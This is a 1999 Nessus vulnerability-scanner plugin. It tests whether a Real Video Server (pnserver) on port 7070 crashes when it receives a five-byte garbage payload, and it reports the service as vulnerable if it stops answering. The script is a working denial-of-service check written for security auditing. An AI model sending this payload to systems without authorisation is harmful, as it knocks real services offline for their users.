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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10183);
- script_version ("$Revision: 1.13 $");
- script_cve_id("CAN-1999-0271");
- name["english"] = "pnserver crash";
- name["francais"] = "crash de pnserver";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It was possible to crash the remote
- Progressive Networks Real Video Server
- by sending it some garbage.
-
- An attacker may use this flaw to prevent
- you from sharing sound and video, which
- may alter the quality of your service
-
- Solution : Contact Progressive Networks for
- a patch.
-
- Risk factor : Medium";
-
- desc["francais"] = "
- Il s'est avΘrΘ possible de faire planter le
- serveur Real Video de Progressive Networks
- qui tournait sur cette machine en lui
- envoyant n'importe quoi.
-
- Un pirate peut utiliser ce problΦme pour
- vous empecher de partager son et vidΘo,
- altΘrant ainsi la qualitΘ de votre
- service.
-
- Solution : Contactez Progressive Networks et demandez un
- patch.
-
- Facteur de risque : Moyen";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote pnserver";
- summary["francais"] = "Plante le pnserver distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
-
- script_require_ports(7070, "Services/realserver");
- script_dependencies("find_service.nes");
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = get_kb_item("Services/realserver");
- if(!port)port = 7070;
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- crp = raw_string(255,244,255,253,6);
- send(socket:soc, data:crp, length:5);
- close(soc);
- sleep(5);
-
- soc2 = open_sock_tcp(port);
- if(!soc2)security_warning(port);
- else close(soc2);
- }
- }
-